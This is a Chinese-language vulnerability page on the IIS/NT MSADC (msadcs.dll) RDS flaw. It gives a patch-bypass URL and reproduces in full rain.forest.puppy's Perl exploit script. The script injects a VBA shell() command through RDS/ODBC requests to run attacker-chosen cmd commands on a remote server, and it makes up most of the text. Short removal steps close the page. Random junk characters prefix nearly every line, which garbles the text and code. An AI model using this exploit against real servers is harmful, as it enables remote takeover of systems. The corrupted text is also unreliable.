IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
6
bnuC g?caE) 涉及程序：
j;b<oQH Microsoft NT server
|K6hY-uC H/ 6GD,0 描述：
pu*vFwZ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Y4|g^>{<ni qP0_#l& 详细：
j?n:"@!G/ 如果你没有时间读详细内容的话，就删除:
,o)U9 < c:\Program Files\Common Files\System\Msadc\msadcs.dll
Q-GnNT7MB3 有关的安全问题就没有了。
hq^@t6!C\m N~An}QX| 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
A?xb
u*zV, `FM^)(wT 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
A{Q :,S) 关于利用ODBC远程漏洞的描述，请参看:
+t XOP| X !zNMU$p http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm C=/nZGG # TX=%x6 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
|O]oX[~ http://www.microsoft.com/security/bulletins/MS99-025faq.asp K9y!ZoB nC5 这里不再论述。
NK@G0p~O &`'gO
9 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
7E 9 h!<5v mJ|7Jc /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
H19CVc\B 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
k98}Jx7J)" L){rv)?=" _8'F I_E3 #将下面这段保存为txt文件，然后: "perl -x 文件名"
d>Z{TFY E*Q><UU #!perl
,1YnWy * #
\k|ZbCWg # MSADC/RDS 'usage' (aka exploit) script
[T.BK: #
o2ndnIL # by rain.forest.puppy
-'|pt,) #
Vh ww-A # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
O$% C(n( # beta test and find errors!
x6ig,N~AO \8!&X cA use Socket; use Getopt::Std;
. #;;pu7W getopts("e:vd:h:XR", \%args);
fodr1M4J f#p.=F$ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
>, &6zj #mX =Y>l if (!defined $args{h} && !defined $args{R}) {
xe:
D7 print qq~
-hP@L ++D Usage: msadc.pl -h <host> { -d <delay> -X -v }
khb
Gyg% -h <host> = host you want to scan (ip or domain)
%L ./U$ -d <seconds> = delay between calls, default 1 second
?~a M<rcZ -X = dump Index Server path table, if available
jz$)*Kdi* -v = verbose
4>gMe3]0 -e = external dictionary file for step 5
t
_Q/v eD, 7gC - Or a -R will resume a command session
yoj5XBM t$=0 C ~; exit;}
Iy](?b E$FXs ~a $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
`oh'rm3'8 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
-NVk>ENL4 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
T!hU37g h? if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
gT R:9E:B $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
NDRk%_Eu( if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
O329Bkg 4.3Bz1p&# if (!defined $args{R}){ $ret = &has_msadc;
'sm+3d die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
VPf*>ph= (o\:r LZu print "Please type the NT commandline you want to run (cmd /c assumed):\n"
'7W? VipU . "cmd /c ";
fwI Zr~l $in=<STDIN>; chomp $in;
U3^T.i"R $command="cmd /c " . $in ;
eN%Ks Y:VM 5r) if (defined $args{R}) {&load; exit;}
I/GZ %f@VOSs print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
C /[2?[ &try_btcustmr;
OZ_'& CZ ~R) Km`t print "\nStep 2: Trying to make our own DSN...";
S&V5zB""n &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
}d) >pH Z\{WBUR;4t print "\nStep 3: Trying known DSNs...";
^n<p#0)+a &known_dsn;
<9/oqp{C4 2&]UFg:8Q print "\nStep 4: Trying known .mdbs...";
HqU"i Y>b &known_mdb;
u:N/aaU= ^G# =>&, if (defined $args{e}){
A{;b^ IK print "\nStep 5: Trying dictionary of DSN names...";
/+J?Ep(_ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
F#iLMO&Q ha'oLm# print "Sorry Charley...maybe next time?\n";
@yB!? x exit;
$+ZO{
( tGD$cBE ##############################################################################
;'pEzz?k" g?i_10Xlp sub sendraw { # ripped and modded from whisker
`a2Oj@jP sleep($delay); # it's a DoS on the server! At least on mine...
N`grr{*_ my ($pstr)=@_;
g=[ F W@z socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
qrNW\ME die("Socket problems\n");
Eln"RKCt}9 if(connect(S,pack "SnA4x8",2,80,$target)){
{:Z # 8dGe select(S); $|=1;
S]1+tj print $pstr; my @in=<S>;
&tQ,2RT select(STDOUT); close(S);
'mug,jM return @in;
,I@4)RSAH| } else { die("Can't connect...\n"); }}
u wWfL32 .Kq>/6
##############################################################################
i2$U##-ro] d Z"bc]z{ sub make_header { # make the HTTP request
dp2". my $msadc=<<EOT
Tc\^=e^N? POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
S_6`.@B} User-Agent: ACTIVEDATA
G+'MT C_ Host: $ip
$K ,rVTU Content-Length: $clen
2X)E3V/*
Connection: Keep-Alive
E[htNin.B~ XT= # + ADCClientVersion:01.06
4lb3quY$Us Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
=o _ d2 Ak ^=D77 jS --!ADM!ROX!YOUR!WORLD!
_ZD)#? Content-Type: application/x-varg
,h5.Si> Content-Length: $reqlen
Roy`HU
;0a S5v>WI^0h EOT
Q_6./.GQ
; $msadc=~s/\n/\r\n/g;
Gr?"okaA return $msadc;}
C3bZ3vcW$ ?GD{}f33 ##############################################################################
5HL JkOV5 h:# sub make_req { # make the RDS request
.rG Rdb my ($switch, $p1, $p2)=@_;
ERGDo=j my $req=""; my $t1, $t2, $query, $dsn;
v[r:1T@ 0V}vVAa(B if ($switch==1){ # this is the btcustmr.mdb query
@w6^*Z_hQ $query="Select * from Customers where City=" . make_shell();
HC4ad0Gs+{ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
>}u?{_s *0 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
(LRv c!`" jfqWcX.X= elsif ($switch==2){ # this is general make table query
O`t ]# $query="create table AZZ (B int, C varchar(10))";
*
2T& pX $dsn="$p1";}
) Ah :'I mz elsif ($switch==3){ # this is general exploit table query
lEZ[0oa $query="select * from AZZ where C=" . make_shell();
J%f5NSSU{6 $dsn="$p1";}
_ZzPy;[i? `W?aq]4x5 elsif ($switch==4){ # attempt to hork file info from index server
2;[75(l6|} $query="select path from scope()";
>|@ /GpD $dsn="Provider=MSIDXS;";}
):LJ {. 0R IDE@{Dy elsif ($switch==5){ # bad query
UH%?{>oRh $query="select";
Cl<` uW3 $dsn="$p1";}
q'+XTal
Wz:MPdz3( $t1= make_unicode($query);
k%NY,(:( $t2= make_unicode($dsn);
}%$9nq3 $req = "\x02\x00\x03\x00";
IOTHk+w $req.= "\x08\x00" . pack ("S1", length($t1));
M29[\@zL $req.= "\x00\x00" . $t1 ;
N##3k- 0Ao $req.= "\x08\x00" . pack ("S1", length($t2));
$hn_4$ $req.= "\x00\x00" . $t2 ;
HQ@X"y
n $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
gl.P#7X return $req;}
2d<ma*2n( 4=F~^Xc` ##############################################################################
N;-+)=M,rf t }nZrD sub make_shell { # this makes the shell() statement
# dW$"u return "'|shell(\"$command\")|'";}
f:"es: Fb #hR}7K+@ ##############################################################################
A>7'W\R c4L5"_#`x- sub make_unicode { # quick little function to convert to unicode
l+R-lsj my ($in)=@_; my $out;
uA:;OM} for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
N< Y-]xS return $out;}
'9<M k-Aj Ez<J+#)t ##############################################################################
^"6xE nA] 'n!;7* sub rdo_success { # checks for RDO return success (this is kludge)
U G^6I5 my (@in) = @_; my $base=content_start(@in);
a/_sL(F{ if($in[$base]=~/multipart\/mixed/){
wvT!NN
K2 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
4w]u: eU return 0;}
+Z)||MR" W1r- uR ##############################################################################
@U5 +1Hjc ( M.Sl sub make_dsn { # this makes a DSN for us
RU_=VB % my @drives=("c","d","e","f");
)u\"xxcV print "\nMaking DSN: ";
q$b/T+-ec foreach $drive (@drives) {
_~Lhc'^p* print "$drive: ";
s}`=pk/FM my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
OX|/yw8 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Eto0>YyZ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
4vBZb^W;9 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Z9=Cw0( w? return 0 if $2 eq "404"; # not found/doesn't exist
w{2V7*+l if($2 eq "200") {
e
*;"$7o9 foreach $line (@results) {
",&}vfD4M return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
_a15R/S } return 0;}
j]Rl1~+M KMoRMCT ##############################################################################
us`hR!_ ZW+{<XTof4 sub verify_exists {
t4h05 i my ($page)=@_;
JO+ h D4L my @results=sendraw("GET $page HTTP/1.0\n\n");
b LL!iz? return $results[0];}
{*jkx ,| Qkr'C
n ##############################################################################
z ;
:E~; 7zR 7v sub try_btcustmr {
z<^HohT my @drives=("c","d","e","f");
tBrd+}e2* my @dirs=("winnt","winnt35","winnt351","win","windows");
js8 uvZ i 68 - I2@& foreach $dir (@dirs) {
_e ~EQ[, print "$dir -> "; # fun status so you can see progress
<0R?#^XBZB foreach $drive (@drives) {
u ^ngD 64 print "$drive: "; # ditto
wF@qBDxg $reqlen=length( make_req(1,$drive,$dir) ) - 28;
d+2I+O03 $reqlenlen=length( "$reqlen" );
iKp4@6a n $clen= 206 + $reqlenlen + $reqlen;
Pb]s +1 N1#*~/sXh my @results=sendraw(make_header() . make_req(1,$drive,$dir));
<-}6X if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
wQM(Lm#Q else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
C+y:<oo) y3;G<9K2c] ##############################################################################
"5Kx]y8 z%*ZmF ^K sub odbc_error {
)vuxy my (@in)=@_; my $base;
fKr Oz! b my $base = content_start(@in);
[|k@Suv |z if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
T=b5th} $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[(#ncR8B $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qr<5z. % $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Bj%{PK return $in[$base+4].$in[$base+5].$in[$base+6];}
%\r4c *O1q print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
1! vR
8. print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
(O& ooM* o $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
P}?,*'b U 6.$F#n ##############################################################################
? 76jz>;b og2]B\mN4 sub verbose {
'^7Sa my ($in)=@_;
I"T_< return if !$verbose;
Vs{|:L+ print STDOUT "\n$in\n";}
/:U\U_j sFCoRH|"c ##############################################################################
/JR*X!&" !u\ X,.h sub save {
n~K_| my ($p1, $p2, $p3, $p4)=@_;
YM1@B`yWE open(OUT, ">rds.save") || print "Problem saving parameters...\n";
s{IycTbz print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
hz\7Z+ $L_ close OUT;}
s|EP/=9i EkOBI[` ##############################################################################
p(U' c}@2 nBGk %NM 8 sub load {
_4.`$n/Z my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
GbStqR~^# open(IN,"<rds.save") || die("Couldn't open rds.save\n");
W J^r~*r @p=<IN>; close(IN);
v>7= T 8 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
||qsoF5B] $target= inet_aton($ip) || die("inet_aton problems");
c(YNv4 *X print "Resuming to $ip ...";
e7vPi QCc $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
= $b^ X?x if($p[1]==1) {
Sfh \ 4h$H $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
SC86 +
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
\ J9@p my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
oEKLu y if (rdo_success(@results)){print "Success!\n";}
sbk WJy else { print "failed\n"; verbose(odbc_error(@results));}}
&*MwKr<y elsif ($p[1]==3){
M@8
<^CK if(run_query("$p[3]")){
ZIpL4y
=_ print "Success!\n";} else { print "failed\n"; }}
H$1R\rE` elsif ($p[1]==4){
lm]4zs /A if(run_query($drvst . "$p[3]")){
roW8 4x print "Success!\n"; } else { print "failed\n"; }}
s:;!QIC5jo exit;}
Ds0^/bYp& b.C!4^ ##############################################################################
;uDH&3W }v@w(*)h: sub create_table {
&#;UKk~)Of my ($in)=@_;
|*OS;FD5 $reqlen=length( make_req(2,$in,"") ) - 28;
MlS<txFPS $reqlenlen=length( "$reqlen" );
(y#8z6\dx $clen= 206 + $reqlenlen + $reqlen;
uF@Q8 7G my @results=sendraw(make_header() . make_req(2,$in,""));
8~rD#8`6j return 1 if rdo_success(@results);
tR0o6s@v/< my $temp= odbc_error(@results); verbose($temp);
S
G] e^%i return 1 if $temp=~/Table 'AZZ' already exists/;
0Ba-VY .H return 0;}
`){*JPl mv<z%y?Oj ##############################################################################
gt'0B-;W (AXS QI~y sub known_dsn {
I&R4.;LW # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
ha3 Qx my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
yWt87+%T "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
V\)@Yk2 "banner", "banners", "ads", "ADCDemo", "ADCTest");
6^UeEm jc vPSH foreach $dSn (@dsns) {
0'z$"(6D print ".";
!*+~R2&b next if (!is_access("DSN=$dSn"));
)Hl; 9 if(create_table("DSN=$dSn")){
SvDVxK print "$dSn successful\n";
GG %j+Ed if(run_query("DSN=$dSn")){
*4]I#N print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
EV2whs2g print "Something's borked. Use verbose next time\n";}}} print "\n";}
F/& Z1G. " ,`fGu ) ##############################################################################
y\r8_rBo x1Z?x,-D" sub is_access {
wdl6dLu my ($in)=@_;
uK}k]x\z $reqlen=length( make_req(5,$in,"") ) - 28;
duT2:~H2 $reqlenlen=length( "$reqlen" );
!t~S.`vF $clen= 206 + $reqlenlen + $reqlen;
3vNo D my @results=sendraw(make_header() . make_req(5,$in,""));
|2{y'?, my $temp= odbc_error(@results);
qK;n>BTe verbose($temp); return 1 if ($temp=~/Microsoft Access/);
F~{yqY5]n return 0;}
}_gCWz-5? c?>Q!sC ##############################################################################
pmIQD " q.uIZ sub run_query {
r`B 8Cik my ($in)=@_;
!=|3^A $reqlen=length( make_req(3,$in,"") ) - 28;
8Z F Ps/HP $reqlenlen=length( "$reqlen" );
6-QTqb?U;N $clen= 206 + $reqlenlen + $reqlen;
>Y)jt*vQ my @results=sendraw(make_header() . make_req(3,$in,""));
"%-HZw%X return 1 if rdo_success(@results);
Q5{i#F7nJm my $temp= odbc_error(@results); verbose($temp);
@j5W4HU return 0;}
O^F%ssF8 AEOo]b*&d ##############################################################################
Aj SIM. ]0V~ |<0c sub known_mdb {
H@,jNI h~h my @drives=("c","d","e","f","g");
Gvl-q1PVC my @dirs=("winnt","winnt35","winnt351","win","windows");
X2q$i my $dir, $drive, $mdb;
@M:j~ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
{$oZR" MP (9fq UbG # this is sparse, because I don't know of many
V5qvH"^ my @sysmdbs=( "\\catroot\\icatalog.mdb",
tjuW+5O "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
:}o0Eb "\\system32\\certmdb.mdb",
}qi6 K-,oU "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
#CHsH{d [[oX$0Fp\! my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
WTSY:kvcCY "\\cfusion\\cfapps\\forums\\forums_.mdb",
=TwV_Dro~ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
M2%<4(UwI "\\cfusion\\cfapps\\security\\realm_.mdb",
]^/:Xsk$ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
E/Eny 5 "\\cfusion\\database\\cfexamples.mdb",
IAhyGD{b "\\cfusion\\database\\cfsnippets.mdb",
YJ. 'Y c "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
#B;` T [ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
OZQ hT)nS] "\\cfusion\\brighttiger\\database\\cleam.mdb",
9@:H9" w "\\cfusion\\database\\smpolicy.mdb",
=36vsps= "\\cfusion\\database\cypress.mdb",
|
z$ba:u5 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
\,ir]e,1 "\\website\\cgi-win\\dbsample.mdb",
Y>wpla[kUq "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
o5i?|H J "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
bx!Sy0PUJ ); #these are just
%:YON,1b=7 foreach $drive (@drives) {
?U iwr{Q foreach $dir (@dirs){
3)EslBA7i foreach $mdb (@sysmdbs) {
B`iQN7fd print ".";
}\ OLBg/ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
H.v`JNs ( print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
/vD 5C if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
. A &Ey5 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
1Jd82N \' } else { print "Something's borked. Use verbose next time\n"; }}}}}
rV[#4,} PF :-Ho5DHg foreach $drive (@drives) {
J<>z}L{ foreach $mdb (@mdbs) {
4/~8zvz&3 print ".";
LV4 x9?& if(create_table($drv . $drive . $dir . $mdb)){
rm1R^ n print "\n" . $drive . $dir . $mdb . " successful\n";
8Rc4+g if(run_query($drv . $drive . $dir . $mdb)){
FWq 6e, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
0 r_8/|N# } else { print "Something's borked. Use verbose next time\n"; }}}}
/^P ^K }
;!Oj b =LZj6' ##############################################################################
$_@~t$ aVO5zR./) sub hork_idx {
]J~37 35] print "\nAttempting to dump Index Server tables...\n";
s~IOc%3 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
` {k>I^Pg $reqlen=length( make_req(4,"","") ) - 28;
G0 ^ 23j $reqlenlen=length( "$reqlen" );
Y^2`)': $clen= 206 + $reqlenlen + $reqlen;
J=Ak+ J my @results=sendraw2(make_header() . make_req(4,"",""));
B. '@~$ if (rdo_success(@results)){
43A6B my $max=@results; my $c; my %d;
I&q:w\\z8| for($c=19; $c<$max; $c++){
*~lD;{2 $results[$c]=~s/\x00//g;
;]i&AAbj $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
RR75ke[Hs $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
!5? #^q $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
nyw, Fu $d{"$1$2"}="";}
Zo-E0[9 foreach $c (keys %d){ print "$c\n"; }
^.nvX{H8~= } else {print "Index server doesn't seem to be installed.\n"; }}
}rn}r4_a Kbg`ZO* ##############################################################################
y@nWa\i G |pqLwnO u sub dsn_dict {
NQ'^ z open(IN, "<$args{e}") || die("Can't open external dictionary\n");
tURIDj%#p while(<IN>){
e\%QHoi>u $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
!jU<(eY next if (!is_access("DSN=$dSn"));
6IctW5b if(create_table("DSN=$dSn")){
oZA|IF8U0 print "$dSn successful\n";
/21d%T:} if(run_query("DSN=$dSn")){
Y
H
2i V print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
!_?<-f( print "Something's borked. Use verbose next time\n";}}}
MPAZ%<gmD print "\n"; close(IN);}
fB3O zff 0 u,=OvU ##############################################################################
m B"zyL- h| !B;D sub sendraw2 { # ripped and modded from whisker
U4 m[@wF sleep($delay); # it's a DoS on the server! At least on mine...
::j'+_9 my ($pstr)=@_;
o!q9pt socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#Vs/1y`() die("Socket problems\n");
q&<#)#+ if(connect(S,pack "SnA4x8",2,80,$target)){
-102W{V/T print "Connected. Getting data";
<^~Xnstl open(OUT,">raw.out"); my @in;
~XsS00TL`G select(S); $|=1; print $pstr;
~BERs;4 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
\xDu#/ ^ close(OUT); select(STDOUT); close(S); return @in;
Te[[xhTyw } else { die("Can't connect...\n"); }}
umcbIi(' $- =aqUU ##############################################################################
"*RCV6{ 7@fd[ sub content_start { # this will take in the server headers
r?{Vqephz my (@in)=@_; my $c;
8kW9.
for ($c=1;$c<500;$c++) {
tPO.^ if($in[$c] =~/^\x0d\x0a/){
}ebw1G if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
66p_d' U else { return $c+1; }}}
S/~6%uJ return -1;} # it should never get here actually
r;|Bc$P ~1|sf8 ##############################################################################
[cXu<vjFM g_0"T} 09( sub funky {
tborRi ) my (@in)=@_; my $error=odbc_error(@in);
X2 M<De F: if($error=~/ADO could not find the specified provider/){
puZ<cV
e/ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
~q4DePVE exit;}
l2VO=RDiW if($error=~/A Handler is required/){
EOtrrfT& print "\nServer has custom handler filters (they most likely are patched)\n";
ua|qL! L+ exit;}
oq8~PTw if($error=~/specified Handler has denied Access/){
:Jhx4/10 print "\nServer has custom handler filters (they most likely are patched)\n";
*X niF~M exit;}}
2-j|q6m5 R^1= :<)C ##############################################################################
7c
%@2
~gI%
sub has_msadc {
5Hr(9 ) my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
\M>AN
Z} my $base=content_start(@results);
/R|"/B0 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
+S;8=lzuV return 0;}
Z]w_2- - aj(M{gFq~ ########################
}-r"W7]k :\4O9f*5+ 7DOAG[gH 解决方案：
(/ k, q 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
zN2sipJS8 2、移除web 目录: /msadc
